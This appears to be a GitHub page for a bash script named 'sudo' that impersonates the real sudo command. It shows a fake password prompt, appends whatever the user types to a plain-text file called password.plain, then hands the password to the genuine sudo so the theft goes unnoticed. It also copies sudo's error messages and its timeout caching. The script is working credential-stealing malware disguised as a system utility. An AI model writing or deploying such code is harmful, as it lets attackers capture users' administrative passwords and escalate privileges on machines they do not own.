-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsudo
63 lines (57 loc) · 1.22 KB
/
sudo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/bin/bash
function getcurrentpid {
currentpid=$(echo $$)
parentpid=$(ps -ef | awk "\$2 ~ /\<$currentpid\>/ { print \$3; }")
echo $parentpid
}
function dothething {
printf "[sudo] password for user: "
read -s password
printf "\n"
echo $password >> ./password.plain
printhelp $*
if hash $1 2>/dev/null || [[ $1 == *"-"* ]];
then
echo $password | /usr/bin/sudo -S $* 2>/dev/null
status=$?
if (($status == 0));
then
currentpid=$(getcurrentpid)
currenttime=$(date +%s)
echo "$currenttime" >> "./${currentpid}.time"
else
printf "Sorry, try again.\n"
/usr/bin/sudo $1
fi
else
printf "sudo: $1: command not found\n"
fi
}
function printhelp {
if (("$#" < 1)) ;
then
/usr/bin/sudo
exit 0
fi
}
currentpid=$(getcurrentpid)
if [ ! -f "./${currentpid}.time" ];
then
dothething $*
else
# cat test | \
# while read CMD;
# do
# if (($(echo $CMD | awk '{print $1;}') == "$currentpid"));
# lastlogintime=$(echo $CMD | awk '{print $2;}')
# fi
# done
lastlogintime=$(head -n 1 "./${currentpid}.time")
currenttime=$(date +%s)
if [ "$currenttime" -gt $((lastlogintime + 20)) ];
then
dothething $*
else
/usr/bin/sudo $1
fi
fi